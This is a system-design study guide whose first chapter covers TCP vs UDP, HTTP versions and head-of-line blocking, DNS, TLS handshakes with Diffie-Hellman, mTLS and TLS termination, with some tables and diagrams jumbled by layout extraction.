System Design Mastery — Curriculum
#
Chapter / Unit
Key Topics
Ch.1
Networking Essentials
TCP/UDP, HTTP 1/2/3, DNS, TLS, WebSockets, SSE, Long Polling
Ch.2
Latency, Throughput & SLAs
P99/percentiles, throughput vs bandwidth, SLI/SLO/SLA, nines,
error budget
Ch.3
Scalability Fundamentals
Vertical/horizontal, stateless/stateful, bottleneck ID, scaling
journey, cursor pagination
Ch.4
APIs, Auth & Communication
REST, GraphQL, gRPC, Sessions, JWT, OAuth2, OIDC, SSO, mTLS,
idempotency, webhooks
Ch.5
Load Balancing
L4/L7, algorithms, consistent hashing, health checks, sticky
sessions
Ch.6
Caching — Deep Dive
LRU/LFU/FIFO, write-through/write-back/write-around, Redis,
stampede, penetration
Ch.7
Databases — SQL
ACID, B-tree indexing, connection pooling, read replicas, N+1
problem
Ch.8
Databases — NoSQL + Storage
MongoDB, DynamoDB, Cassandra, Neo4j, S3, CDN, SQL vs NoSQL
decision
Ch.9
Queues + Streaming + CDC
Kafka internals, RabbitMQ, at-least-once/exactly-once,
backpressure, Debezium, WAL
Ch.1
0
CAP Theorem & Consistency
CAP applied, PACELC, eventual/strong/causal consistency, real
systems mapped
Ch.1
1
Replication + Sharding +
Consistent Hashing
Leader-follower, sharding strategies, virtual nodes, ring
Ch.1
2
Distributed Transactions
2PC, Saga pattern, compensating transactions, distributed locks
Ch.1
3
Rate Limiting & Throttling
Token bucket, leaky bucket, sliding window, distributed rate
limiting
Ch.1
4
Service Discovery &
Microservices
Circuit breaker, bulkhead, API gateway, Consul, leader election
Ch.1
5
Design Patterns
CQRS, Event Sourcing, Outbox pattern, Strangler Fig
CS1CS1
9
19 Case Studies
URL Shortener, Netflix, WhatsApp, Newsfeed, Notifications, Tags,
Uber, Payments, UPI, Analytics + more
Ch.1
6
Interview Framework
Clarify -> Estimate -> Design -> Trade-offs
Ch.1
7
Mock Interviews x3
45-min timed sessions, full debrief
Ch.1
8
Weak Area Revisit
Targeted re-teaching from tracker
Chapter 1 — Networking Essentials
Topic 1.1 — TCP vs UDP
The Story
2012. You joined a small video calling startup. The app works beautifully on good WiFi. But users on
mobile keep complaining: "The call freezes for 3 seconds, then jumps forward. It's unwatchable."
You investigate. The video call was built on TCP. TCP sees a lost packet and thinks: I must recover
this. I'll hold everything else until I retransmit and confirm delivery. So the app freezes — waiting
for stale data nobody needs. A video frame from 3 seconds ago is completely useless. This is the
core tension: reliability vs speed.
The Intuition
TCP = Registered mail with tracking. You send a package. The courier confirms delivery. If lost, they resend.
Everything arrives in exact order. But there is overhead — forms, signatures, confirmation — before anything
moves.
UDP = Shouting across a crowded room. You say something. It may or may not reach the other person. You do
not wait for acknowledgment. You just keep talking. Fast, zero ceremony, zero guarantees.
TCP — Transmission Control Protocol
The 3-Way Handshake
SYN = Synchronize Sequence Numbers. Both sides synchronise their byte counters before any data flows.
Step 1 — SYN:
Client picks random sequence number x=4821.
Sends: "I want to connect. I will number my bytes from 4821."
Step 2 — SYN-ACK:
Server picks its own sequence number y=9031.
Replies: "Got 4821, I acknowledge it (ack=4822). I start from 9031."
Step 3 — ACK:
Client: "Got 9031, I acknowledge it (ack=9032). Lets go."
Cost: 1 full RTT before a single byte of real data flows.
On Mumbai->London (~72ms RTT): paying 72ms just saying hello.
TCP's 4 Guarantees and Their Hidden Costs
Guarantee
Mechanism
The Real Cost
Reliable delivery
Lost segments trigger automatic
retransmit
Extra latency on every packet loss
Ordered delivery
Segments buffered and
resequenced at receiver
Memory usage + Head-of-Line
blocking
Flow control
Receiver advertises buffer size
(window size)
Sender slows if receiver is
overwhelmed
Congestion control
TCP backs off when it detects
congestion (AIMD)
Lower throughput on busy networks
Head-of-Line (HoL) Blocking — The Silent Killer
This is critical for system design interviews. If packet #5 is lost out of 8 in flight:
Packets: [1] [2] [3] [4] [5] [6] [7] [8]
^
Packet 5 is lost
TCP holds packets 6, 7, 8 in receive buffer.
App gets 1, 2, 3, 4... then NOTHING.
TCP retransmits 5. Only after 5 arrives does app get 5,6,7,8.
This stall happens even though 6,7,8 arrived perfectly fine.
This is a fundamental TCP flaw.
HTTP/3 was specifically built to fix this.
UDP — User Datagram Protocol
–​ Connectionless. No handshake. No ACK. No retransmit. Just fire packets.
–​ UDP header = only 8 bytes: Source Port, Dest Port, Length, Checksum.
–​ TCP header = 20+ bytes. Contains sequence numbers, window size, flags.
–​ Sender never knows if packet arrived. App decides what to do about loss.
Key insight: UDP gives you the transport primitive. You decide what reliability to build on top. This is
exactly what QUIC (HTTP/3) does — it builds per-stream reliability on UDP, eliminating HoL blocking
entirely.
The Decision Framework
Missing or corrupted byte ruins the result?
YES -> TCP
API calls, DB queries, file transfers, payments, email
NO
-> Consider UDP
Need custom reliability? -> Build on UDP (QUIC, WebRTC)
Can just retry?
-> Raw UDP (DNS, telemetry)
System
Protocol
The Exact Reason
HTTP/1.1, HTTP/2
TCP
Full reliability needed — every byte matters
HTTP/3 (QUIC)
UDP
Fixes HoL blocking — per-stream reliability
DNS queries
UDP
Tiny request + response — retry is instant if lost
Zoom / Google Meet
UDP (WebRTC)
Stale frames are worse than dropped frames
Database connections
(Postgres)
TCP
Cannot lose a single query or result byte
Online gaming
(positions)
UDP
Your position 100ms ago is worthless
WhatsApp messages
TCP
Delivery guarantees are part of the product promise
Topic 1.2 — HTTP/1.1 vs HTTP/2 vs HTTP/3
The Story
2010. You are an engineer at a fast-growing e-commerce site. Your homepage loads 47 separate
resources — HTML, CSS, JS, images, fonts, tracking scripts. Average page load time: 8 seconds.
Users are bouncing. You look at the browser network tab. Every single resource is being fetched one
at a time, sequentially, over the same connection. The browser requests style.css, waits for it to
fully arrive, then requests app.js, waits, then requests logo.png, waits... 47 resources. Sequential.
One after another. Each request takes ~100ms. 47 x 100ms = 4.7 seconds of pure waiting before
even counting transfer time. And here is the worst part — this is not a bug. This is how HTTP/1.1
was designed.
The Intuition
HTTP/1.1 = A single-lane road. One car at a time. Car enters, reaches destination, exits. Next car enters. Simple,
but creates massive queues at peak.
HTTP/2 = A multi-lane highway. Many cars travel simultaneously. Much faster. But if there is an accident in lane 3,
all lanes get blocked by the investigation. That is HoL blocking surviving into HTTP/2.
HTTP/3 = Independent underground tunnels. Each car has its own tunnel. An accident in tunnel 3 affects only
tunnel 3. Tunnels 1, 2, 4, 5 keep moving. This is QUIC over UDP.
HTTP/1.1 — The Foundation and Its Sins
Year: 1997. Built for 5-10 resources per page. Modern pages have hundreds.
One request at a time per connection. Must wait for full response before next request.
Keep-Alive: connection reused across requests (saves handshake cost). Requests still sequential.
Pipelining: send multiple requests back-to-back without waiting for responses. Sounds like it would help.
Failed in practice because of head-of-line blocking: HTTP/1.1 requires responses to come back in the
same order as requests. One slow response holds up everything behind it even if later responses are
ready. Like one slow car blocking an entire lane. Major browsers disabled pipelining by default and
eventually removed it entirely. The real browser workaround became 6 parallel TCP connections per
domain — see next bullet. HTTP/2 fixed this properly with true multiplexing.
–​ Browser hack: 6 parallel TCP connections per domain. Each has its own handshake cost. Hack, not
solution.
–​ Header bloat: cookies, User-Agent sent as plaintext on EVERY request. No compression. 800 bytes of
headers × 47 requests = 37,600 bytes wasted.
–​
–​
–​
–​
Head-of-line blocking — why pipelining failed:
Client sends (all at once, no waiting):
Request 1: GET /large-db-query
(takes 500ms)
Request 2: GET /style.css
(takes 1ms)
Request 3: GET /logo.png
(takes 2ms)
Server finishes in order:
Response 2 ready at 1ms
-> cannot send, waiting for Response 1
Response 3 ready at 2ms
-> cannot send, waiting for Response 1
Response 1 ready at 500ms -> NOW server sends 1, 2, 3 in order
Total wait: 500ms for all three.
Without pipelining: also ~500ms + tiny overhead.
Pipelining helped almost nothing.
Browsers' actual fix: 6 parallel TCP connections per domain.
Each connection handles one request at a time.
Slow requests on connection 1 do not block connections 2-6.
Crude. Each connection costs a TCP handshake.
HTTP/2 replaced this with true multiplexing over one connection.
HTTP/2 — The Multiplexing Revolution (2015)
Born from Google's internal SPDY protocol. Google built it, proved it worked at scale, then handed it to the IETF.
Standardized in 2015.
HTTP/1.1's core problem was that one TCP connection could carry only one request at a time. HTTP/2 changed
the fundamental model: one TCP connection now carries many requests and responses simultaneously,
completely independently of each other. This is multiplexing.
This is fundamentally different from pipelining. Pipelining still sent requests in order and required responses in
order — one slow response still blocked everything. Multiplexing has no ordering constraint at all. Each request
travels as a numbered stream on the same connection. The server responds to whichever it finishes first.
Responses arrive interleaved in any order. A slow database query on stream 3 does not affect the fast CSS file on
stream 7.
HTTP/1.1 pipelining (broken):
Client: Request 1 -> Request 2 -> Request 3
(sent in order)
Server: must reply: Response 1 -> Response 2 -> Response 3
If Request 1 is slow: Response 2 and 3 wait behind it. HOL blocking.
HTTP/2 multiplexing (fixed):
Client: Stream 1 (Request 1), Stream 3 (Request 2), Stream 5 (Request 3)
All sent on the SAME TCP connection. No ordering required.
Server: finishes Stream 3 first -> sends Response 3
finishes Stream 5 -> sends Response 5
finishes Stream 1 -> sends Response 1
Responses arrive in any order. No stream blocks another.
Browser no longer needs 6 parallel TCP connections.
One connection. Many parallel streams.
HTTP/2 also added HPACK header compression: headers are compressed and cached between requests. After
the first request, only the differences are sent. The 800 bytes of repeated headers (User-Agent, cookies) from
HTTP/1.1 shrink to a few bytes. And server push: the server can proactively send resources before the client asks
for them (e.g. sending style.css alongside the HTML without waiting for the browser's request). In practice server
push was rarely beneficial and most browsers have removed support for it.
HTTP/2 fixed one HOL problem but a different one survives. To understand why, you need to know there are two
completely separate levels where HOL blocking can occur, at different layers of the network stack.
Application-layer HOL blocking (HTTP level):
This is what HTTP/1.1 had.
HTTP says: responses must come back in request order.
One slow response at the HTTP layer holds up all later responses.
HTTP/2 fixed this: no ordering constraint between streams.
Stream 3 does not wait for Stream 1. Fully solved at HTTP level.
TCP-layer HOL blocking (transport level):
This is what HTTP/2 still has.
TCP sees the connection as ONE continuous stream of bytes.
TCP knows nothing about HTTP/2 streams, frames, or requests.
If a single TCP packet is lost anywhere in the flow:
TCP stops delivering ANY data to the application
until that one lost packet is retransmitted and confirmed.
All HTTP/2 streams freeze — even ones that have nothing to do
with the lost packet.
Concrete example:
HTTP/2 is downloading 10 streams on one TCP connection.
One packet from Stream 3 is lost.
TCP freezes the entire connection waiting for retransmission.
Streams 1, 2, 4, 5, 6, 7, 8, 9, 10 all stall.
None of their data can be delivered even though it arrived.
Why HTTP/1.1 with 6 connections sometimes wins on lossy networks:
6 separate TCP connections fail independently.
A lost packet on connection 1 only stalls connection 1.
Connections 2-6 keep flowing.
HTTP/2 on one connection: one lost packet stalls everything.
On a stable network: HTTP/2 wins easily.
On a mobile network with 5% packet loss: HTTP/2 can lose.
HTTP/2 multiplexing is not pipelining. Pipelining removed the wait between sending requests but
kept strict response ordering — one slow response still blocked all others. Multiplexing removes
ordering entirely: each request is an independent numbered stream, responses arrive in any order,
no stream blocks another. The remaining HOL problem is at the TCP layer, not the HTTP layer — a
lost TCP packet freezes all streams because TCP sees one byte stream and knows nothing about
HTTP/2 streams above it. HTTP/3 fixes this by replacing TCP with QUIC.
HTTP/3 — The QUIC Revolution (2022)
The insight: TCP is the problem. TCP cannot be fixed without changing every OS kernel in the world. So let's build
a new transport protocol in userspace, on top of UDP.
QUIC fixes the TCP HOL problem by making streams first-class at the transport layer. In HTTP/2 over TCP, the
operating system sees one byte stream — a lost packet stalls everything. QUIC runs over UDP and manages
streams itself. A lost packet in stream B only stalls stream B. Streams A, C, D carry on unaffected. This eliminates
both HOL problems: app-layer HOL is gone (same as HTTP/2) and TCP-layer HOL is gone (new in HTTP/3).
QUIC also merges the connection and TLS handshakes into one. HTTP/2 needed a TCP handshake (1 RTT) then a
TLS handshake (1 RTT) separately. QUIC does both in one round trip. For returning clients it goes further — 0-RTT
— the first request goes out with the handshake itself, no waiting at all. One more thing worth knowing: if you
switch from WiFi to 4G mid-session, TCP breaks — the connection is tied to your IP address and port, both of
which just changed. QUIC uses a connection ID instead, so the session survives the network change seamlessly.
What Is an RTT?
RTT (Round Trip Time) is the time for a message to travel from your browser to the server and the response to
come back. One RTT on a typical connection within the same country is around 20–50ms. Across continents it
can be 150–300ms. Every RTT you add before data flows is dead waiting time for the user.
TLS 1.2 Handshake — Two Round Trips
Before any HTTP data flows over a secure connection, the browser and server need to agree on an encryption
key. Neither side starts with one — they have to negotiate it. TLS 1.2 does this in two round trips.
Round trip 1:
Browser ->
support."
Server
->
Server:
"Hello. Here are the encryption algorithms I
Browser: "I choose this algorithm. Here is my certificate.
Here is my public key for the key exchange."
(Browser verifies the certificate. This happens locally, no network.)
Round trip 2:
Browser ->
Server
->
Server: "Here is my half of the key exchange."
Browser: "Got it. Both of us can now compute the shared key.
Handshake done."
Now both sides have the same session key.
Now the browser can send the HTTP request.
Round trip 3 (first actual data):
Browser -> Server: GET /checkout
Server
-> Browser: 200 OK + page content
Total: 3 RTTs before the first byte of your page arrives.
(Plus the TCP handshake: 1 RTT before TLS even starts.
So truly 4 RTTs from zero on a fresh connection.)
TLS 1.3 Handshake — One Round Trip
TLS 1.3 saves one full round trip. The key insight: in TLS 1.2, the browser waited for the server to announce its
chosen algorithm before sending its key. TLS 1.3 removes that wait. The browser makes an educated guess about
which algorithm the server will pick (there are only a few modern ones) and sends its key share immediately in
the very first message.
Round trip 1:
Browser ->
share for X."
Server
->
Finished.
Server:
"Hello. I support these algorithms.
I am guessing you will pick X — here is my key
Browser: "Correct guess. Here is my key share + certificate +
I already computed the session key. Handshake
done."
(Both sides now have the session key after just one exchange.)
Round trip 2 (first actual data):
Browser -> Server: GET /checkout (already encrypted)
Server
-> Browser: 200 OK + page content
Total: 2 RTTs before first byte. (3 RTTs counting the TCP handshake.)
Saved one full RTT compared to TLS 1.2.
0-RTT (returning clients only):
At the end of a previous TLS 1.3 connection, the server gave the browser
a pre-shared key (PSK) — like a hall pass for next time.
On the next visit: browser sends the HTTP request encrypted with the PSK
inside the very first message — before any handshake completes.
Server decrypts immediately and responds.
First byte arrives in 1 RTT from zero (or 0 extra RTTs after the TCP
handshake).
Trade-off: 0-RTT is vulnerable to replay attacks.
Safe for GET requests. Never use for payments or logins.
Can HTTP/1.1 Use TLS 1.3?
Yes, completely. HTTP and TLS are at different layers of the network stack and are independent of each other. TLS
sits below HTTP — it encrypts the connection, it does not care what protocol is running on top of it. HTTP/1.1,
HTTP/2, and HTTP/3 can all use TLS 1.3. The reason TLS 1.3 is often discussed alongside HTTP/2 is simply timing:
TLS 1.3 was finalized in 2018, by which point most servers upgrading their TLS were also upgrading their HTTP
version. But there is nothing stopping HTTP/1.1 over TLS 1.3 — your browser does it regularly when connecting
to older servers that have not yet adopted HTTP/2.
RTT Comparison — All Protocols
Protocol
RTTs to first byte
Breakdown
HTTP/1.1 (no TLS)
2 RTTs
TCP(1) + request(1)
HTTP/1.1 + TLS 1.2
4 RTTs
TCP(1) + TLS1.2 handshake(2) + request(1)
HTTP/1.1 or HTTP/2 + TLS
1.3
3 RTTs
TCP(1) + TLS1.3 handshake(1) + request(1). HTTP/2 does
not change connection setup.
HTTP/1.1 or HTTP/2 + TLS
1.3 (returning)
2 RTTs
TCP(1) + 0-RTT request(1). PSK skips TLS handshake.
HTTP/3 + QUIC (fresh)
2 RTTs
QUIC+TLS combined(1) + request(1). No separate TCP
handshake.
HTTP/3 + QUIC (returning)
1 RTT
0-RTT: request sent with QUIC handshake. Response after
1 RTT.
Feature
HTTP/1.1
HTTP/2
HTTP/3
Year
1997
2015
2022
Transport
TCP
TCP
UDP (QUIC)
Connections per
domain
6 (browser hack)
1
1
Multiplexing
No
Yes
Yes
HoL Blocking
HTTP + TCP level
TCP level only
Eliminated completely
Header compression
No — plaintext
HPACK — diffs
only
QPACK
TLS setup cost
2-3 RTT
2 RTT
1 RTT (0-RTT repeat)
Connection migration
No
No
Yes (Connection ID)
Encryption
Optional
Optional
Mandatory (TLS 1.3)
Topic 1.3 — DNS: How Names Become IPs
Full form: Domain Name System.
The Story
Question: "What is the IP of api.yourcompany.com?"
(1) Browser DNS cache
Chrome has its own cache. View at chrome://net-internals/#dns
Typical TTL: browser-defined, often 60 seconds.
-> MISS. Proceed.
(2) OS cache + /etc/hosts file
/etc/hosts checked first (why adding 127.0.0.1 myapp.local works
locally).
OS has its own resolver cache.
-> MISS. Proceed.
(3) Recursive resolver walks the DNS hierarchy on your behalf:
Root nameserver
-> "I don't know the IP, but .com is handled by
VeriSign."
TLD nameserver
-> "I don't know the IP, but try ns1.yourcompany.com."
Authoritative NS -> "api.yourcompany.com = 1.2.3.4, TTL=300."
Only the authoritative nameserver knows the actual IP.
Root and TLD just point to the next server in the chain.
(4) Resolver caches the answer for TTL seconds (300 = 5 minutes here).
Returns 1.2.3.4 to the OS.
OS caches it. Browser caches it.
Browser connects to 1.2.3.4.
TTL — The Propagation Problem
TTL (Time To Live) = the value set by the authoritative nameserver telling every resolver how long to cache the
answer.
yourco.com A record:
1.2.3.4
TTL: 86400
(24 hours)
You change IP to 5.6.7.8 at T=0.
Resolvers that cached 23 hrs ago -> serve old IP for 1 more hour
Resolvers that cached 1 hr ago
-> serve old IP for 23 more hours
Fresh resolvers
-> get new IP immediately
This is why different users see different versions of your site.
Not a bug. The cache working as designed.
Zero-Downtime DNS Migration — The Professional Approach
Step 1: 48 hours BEFORE migration
Lower TTL to 60 seconds.
(Do NOT change IP yet.)
Step 2: Wait the full 48 hours.
All old caches (which had TTL=86400) have now naturally expired.
Every resolver worldwide will now re-fetch within 60 seconds.
Step 3: Change the IP.
New IP propagates globally in ~60 seconds.
Step 4: After migration confirmed stable.
Raise TTL back to 86400.
The 48-hour wait BEFORE the change is what most engineers miss.
Skipping it = some resolvers serve old IP for up to 24 more hours.
The Paint Mixing Analogy (How Diffie-Hellman Actually Works)
DNS resolved the domain name to an IP address. Now the browser needs to open a secure encrypted connection
to that IP. But here is the problem: two parties who have never met need to agree on an encryption key —
without sending that key over the network where anyone could intercept it. This analogy explains exactly how
TLS solves that.
Step 1: You and a friend both start with PUBLIC colour — yellow.
Everyone watching knows it is yellow. Fine.
Step 2: You secretly pick red. Mix with yellow -> orange. Send orange.
Friend secretly picks blue. Mixes with yellow -> green. Sends
green.
Step 3: You take their green + your secret red -> brown.
They take your orange + their secret blue -> brown.
Both arrived at the SAME brown without ever sending red or blue.
Eavesdropper has: yellow, orange, green.
Cannot reverse-engineer the secret colours.
This is Diffie-Hellman. The "colours" are enormous prime numbers.
The math makes reversal computationally impossible.
Meet the Actors
The paint mixing analogy showed how two parties can agree on a shared secret without transmitting it. In TLS
the same idea plays out with real cryptographic keys. These are the actual participants and what key each one
holds.
Actor
Key Name
Location
Transmitted
?
Purpose
Let's Encrypt
(CA)
CA_private
CA's vault — locked
away
Never
Signs Bob's certificate
offline. Done once.
Never involved in live
connections.
Let's Encrypt
(CA)
CA_public
Pre-installed in every
browser and OS at
installation time
Already
there
Used to verify certificate
signatures
Bob (server)
Bob_private
Bob's server only.
Never leaves.
Never
Signs green
(Bob_DH_public) with
Bob_private before
sending to Alice. The
signature proves this DH
value came from the
legitimate server and
not a
man-in-the-middle.
Bob_private is NOT
involved in DH
computation — that is
Bob_DH_private (blue).
Separate keys, separate
jobs.
Bob (server)
Bob_public
Embedded inside
Bob's certificate
Yes — Step 2
Not sensitive. Anyone
can see it.
Alice (browser)
Alice_DH_public
(orange)
Generated fresh for
this session
Yes — Step 1
Bob uses it to compute
AES_key
Bob (server)
Bob_DH_public
(green)
Generated fresh for
this session
Yes — Step 2
Alice uses it to compute
AES_key
Alice (browser)
Alice_DH_private
(red)
Generated in RAM for
this session only.
Never stored.
Never
Alice uses it to compute
AES_key from
Bob_DH_public.
Discarded immediately
after — existed for
milliseconds, gone
forever (Perfect Forward
Secrecy). This is NOT a
long-term private key. In
standard HTTPS, clients
have no certificate and
no long-term private key
at the TLS layer. Alice is
completely anonymous
to the server at TLS
level. Her identity comes
from the application
layer above — a login, a
session token, a cookie.
Alice_DH_private is just
an ephemeral random
number generated for
this one session's DH
exchange, not
something stored in a
keychain or file.
Bob (server)
Bob_DH_private
(blue)
Generated in RAM for
this session only.
Never stored.
Never
The actual "blue" in the
paint analogy. Bob
generates this fresh per
session. mix(yellow +
blue) = green
(Bob_DH_public). Used
to compute AES_key
from Alice_DH_public.
Discarded immediately
after. Enables Perfect
Forward Secrecy
alongside
Alice_DH_private.
Both
AES_key (brown)
TLS stack RAM only
(BoringSSL in Chrome,
NSS in Firefox). Never
a cookie, never
localStorage, never
disk. The web page
and JavaScript have
zero access to it — it
lives below the HTTP
layer entirely.
Never
Encrypts all HTTP data
including cookies —
cookies travel inside the
encrypted payload,
protected BY the AES
key, not stored with it.
Thrown away when
connection closes. New
connection = new
handshake = new AES
key.
Important naming clarification: Alice_DH_public does not mean it contains only public information. It means it is
the value Alice makes public — i.e. sends over the wire. Going back to the paint analogy, Alice_DH_public is
Alice's secret colour (red) already mixed with the shared public colour (yellow) = orange. Her secret is baked in,
but it cannot be extracted. The name simply means "the DH value Alice publishes", not "a value with no secret in
it."
# Paint analogy mapped to DH names:# yellow = public DH parameters (g, p)
standardized by IETF.#
Not owned by anyone. Both sides already know
them. Nothing transmitted.
Alice_DH_public
it.
Bob_DH_public
green
= red (secret) mixed with yellow (public) = orange
--> what Alice SENDS to Bob
--> attacker can see it. Cannot reverse-engineer red from
= Bob_DH_private/blue (secret) mixed with yellow (public) =
--> what Bob SENDS to Alice
--> attacker can see it. Cannot reverse-engineer blue
from it.
AES_key (brown)
= Alice: green + red = brown
Bob:
orange + Bob_DH_private/blue = brown
<-- same
result
sides.
--> NEVER transmitted. Computed independently by both
Attacker has: yellow, orange, green.
Cannot compute brown without red or blue -- which were never transmitted.
"Public" in Alice_DH_public = published/sent, not "free of secrets".
All key combinations — what each is, what it does:
Client (Alice):
client_DH_private (red)
transmitted.
Ephemeral. Generated per session. Never
mix(red + yellow) = orange. Discarded after AES
derived.
client_DH_public (orange)
compute brown.
client_private
data encryption.
client_public
server.
Server (Bob):
Bob_DH_private (blue)
transmitted.
derived.
Bob_DH_public (green)
Bob_private.
Bob_private
identity.
encryption.
Bob_public
signature.
red + yellow. Safe to send. Bob uses it to
Long-term certificate key. ONLY in mTLS.
Proves client identity. Never involved in DH or
Certificate public key. ONLY in mTLS. Sent to
Ephemeral. Generated per session. Never
mix(blue + yellow) = green. Discarded after AES
blue + yellow. Safe to send. Signed by
Long-term certificate key. Signs green to prove
Never used for DH computation or data
In certificate. Client uses it to verify Bob's
Shared:
yellow
Public DH params (g, p). Standardized. Nobody
owns it.
AES key / session_key (brown) Computed independently: red+green =
blue+orange = brown.
Never transmitted. Encrypts all data. Discarded
on disconnect.
# Standard HTTPS: client has NO client_private / client_public.
# mTLS only: client gets its own certificate + private key.
Before the Connection — What Happened Offline
This step already happened before Alice ever opens her browser.
Bob (server owner) went to Let's Encrypt and said:
"I own payments.yourcompany.com. Please give me a certificate."
Let's Encrypt verified Bob controls the domain, then created:
Bob's Certificate contains:
Domain:
payments.yourcompany.com
Bob_public: [Bob's public key — big number]
Issued by: Let's Encrypt
Valid:
Jan 2024 -> Jan 2025
Signature: SIGN(CA_private, all_of_the_above)
^
Let's Encrypt signed this with their private key.
Anyone with CA_public can verify this is genuine.
Let's Encrypt hands certificate to Bob. Bob installs it.
Let's Encrypt's job is DONE. They are not in any future connection.
Alice's browser already has CA_public pre-installed.
It came with Chrome, Firefox, or the OS itself.
This is the root of trust.
TCP Handshake + TLS Handshake — Exact Order, Every Key Named
=== TCP Handshake (OS to OS — neither Chrome nor the page is involved) ===
(0a) Alice's OS -> Bob's OS: SYN
"I want to connect. My sequence starts at x=4821."
(0b) Bob's OS -> Alice's OS: SYN-ACK
"Got it (ack=4822). My sequence starts at y=9031."
(0c) Alice's OS -> Bob's OS: ACK
"Got it (ack=9032). Ready."
Cost: 1 RTT. A raw unencrypted pipe now exists.
TCP does not know what HTTP, TLS, or AES are.
=== TCP Handshake Complete ===
=== TLS Handshake (Chrome's BoringSSL to Bob's TLS stack) ===
(1) Alice -> Bob: ClientHello [PLAINTEXT]
Sends: TLS version supported
List of cipher suites (e.g. TLS_AES_256_GCM_SHA384)
Alice_random (32 random bytes)
Alice_DH_public (her Diffie-Hellman share)
All plaintext. Attacker can see everything. Fine — nothing secret yet.
(2) Bob -> Alice: ServerHello + Certificate [PLAINTEXT]
Sends: Chosen cipher suite
Bob_random (32 random bytes)
Bob_DH_public (green — his Diffie-Hellman share, signed by
Bob_private to prove authenticity)
Certificate: [domain, Bob_public, signed by CA_private]
Still plaintext. Still fine.
(3) Alice verifies the Certificate [SILENT — no message sent]
Alice takes CA_public (already in her browser).
Runs: VERIFY(CA_public, certificate_signature)
Checks: signature valid? domain matches? not expired? not revoked?
All pass -> Bob is genuine. Proceed.
Any failure -> ERR_CERT_INVALID. Connection killed immediately.
(4) Both compute AES_key [SILENT — no message sent, magic step]
Alice: f(Alice_DH_private, Bob_DH_public) = AES_key
Bob:
f(Bob_DH_private,
Alice_DH_public) = AES_key <- SAME result
Attacker: has Alice_DH_public + Bob_DH_public
-> CANNOT compute AES_key without a private value
-> Private values were NEVER transmitted
(5) Alice -> Bob: Finished [ENCRYPTED with AES_key]
First encrypted message of the session.
Proves Alice successfully derived AES_key.
(6) Bob -> Alice: Finished [ENCRYPTED with AES_key]
Both sides confirmed they hold the same AES_key.
=== TLS Handshake Complete — Pipe is Now Encrypted ===
=== HTTP Request (Application Layer — Chrome HTTP engine) ===
(7) ALL subsequent data encrypted with AES_key both directions
Alice -> Bob: POST /payment {"card":"4111...","cvv":"123"}
Attacker intercepts: XQ8#mK@2!nP$vL9... <- meaningless garbage
One thing the handshake above does not show: only the server authenticated itself. Alice never proved who she
is at the TLS layer. This is standard HTTPS — one-way authentication. There is a second mode called mTLS where
both sides have certificates.
Standard TLS (what happens in a browser):
Server authenticates to client: yes, via certificate.
Client authenticates to server: no. Client is anonymous at TLS layer.
Client identity comes from: login form, session token, cookie.
Used everywhere: browsers, mobile apps, public APIs.
mTLS — Mutual TLS (both sides have certificates):
Server authenticates to client: yes, via server certificate.
Client authenticates to server: yes, via client certificate.
Both sides do the same verification step.
Client needs its own private key + certificate issued by a trusted CA.
Used for:
Service-to-service inside a company (Razorpay internal APIs)
Payment gateways authenticating merchants
Banking apps authenticating registered devices
Enterprise VPNs
Alice_DH_private is NOT the client certificate private key.
It is ephemeral, session-only, exists for milliseconds.
A client certificate private key (in mTLS) lives on disk, used across
sessions.
Two completely different things.
SSL/TLS Termination
In the TLS handshake above, the browser connected directly to the backend server. In real production systems
that almost never happens. Traffic hits a load balancer or reverse proxy first (Nginx, AWS ALB, Cloudflare), and
that is where TLS terminates.
Without TLS termination (TLS goes all the way to backend):
Browser --> [encrypted] --> Load Balancer --> [encrypted] --> Backend
Load balancer cannot read or inspect the request.
Cannot route based on URL path, headers, or cookie.
Every backend instance manages its own TLS certificates.
With TLS termination at the load balancer (standard practice):
Browser --> [encrypted] --> Load Balancer --> [plain HTTP] --> Backend
^
TLS ends here.
LB decrypts, inspects, routes.
Backend receives plain HTTP.
Why this is the default:
1. LB can now route on URL path, Host header, cookies.
2. One TLS certificate in one place -- not on every backend.
3. Certificate renewal at LB only. Backends stay simple.
4. Internal LB -> backend traffic is inside a private VPC.
No external exposure. Plain HTTP inside VPC is acceptable.
For high-security systems (banking, healthcare):
Add mTLS inside the VPC as well.
This is called end-to-end TLS or zero-trust networking.
Where you will see this term in system design:
"SSL termination at ALB"
-- AWS Application Load Balancer
"TLS offloading at Nginx"
-- Nginx as reverse proxy
"TLS termination at Cloudflare" -- CDN handles cert, forwards plain HTTP
"Re-encryption"
-- LB decrypts then re-encrypts to backend
SSL/TLS termination = TLS ends at the load balancer, not the backend. Browser encrypts to LB. LB
decrypts, inspects, routes, then forwards plain HTTP to backend over a private VPC. Certificates live
in one place. Backends stay simple. When you see "SSL termination at ALB" or "TLS offloading"
anywhere in system design — this is exactly what it means.
Topic 1.5 — Long Polling vs WebSockets vs SSE
The Story
You are building a food delivery app. User places an order. Now they are staring at a screen waiting
for updates: Order confirmed -> Preparing -> Picked up -> 2 mins away. Your backend knows the
status. The question is: how does that update reach the user's screen in real time? HTTP was
designed request-response. Client asks, server answers. Done. The connection may stay alive but
the server has already said everything it has to say -- it cannot push new information unless the
client asks again. Real-time means the server needs to speak first, unprompted. HTTP does not
naturally support that. These three techniques are workarounds, each with different trade-offs.
# Before we look at each technique, one clarification about HTTP
connections:
#
# HTTP was designed request-response but the TCP connection underneath
# stays ALIVE after each response (HTTP/1.1+ default).
#
# Old model (HTTP/1.0): request -> response -> connection closes -> new
TCP+TLS.
# Modern model (HTTP/1.1+): request -> response -> SAME connection stays
open.
#
Next request reuses same TCP pipe. No new
handshake.
#
# TCP handshake (1 RTT) + TLS handshake (1 RTT) paid ONCE.
# All subsequent requests on that connection: no handshake cost.
#
# This is the baseline all three techniques below build on.
=== Q: TCP connection + TLS handshake -- happen once or every request? ===
Once per connection, not once per request.
Request 1:
= 3 RTTs
TCP handshake (1 RTT) + TLS handshake (1 RTT) + request (1 RTT)
Request 2:
Request 3:
...
just request (1 RTT) = 1 RTT
just request (1 RTT) = 1 RTT
TCP and TLS cost is amortised across all requests on the same connection.
When does a NEW handshake happen?
- Server idle timeout (60-120s of inactivity)
- Network interruption / disconnect
- Client restart
TLS 1.3 session resumption (PSK): 0-RTT even on reconnection.
HTTP/2: multiple requests fly in parallel on ONE connection (multiplexing).
100 concurrent API requests share the same TCP connection.
TCP+TLS paid once for all 100.
HTTP/3 (QUIC): combines TCP+TLS into 1 RTT fresh, 0-RTT resumed.
QUIC connections survive network changes (WiFi -> mobile = same
connection).
TCP would break and need a new handshake on network change.
=== Q: After server responds, is the connection over? ===
No. The TCP connection stays open.
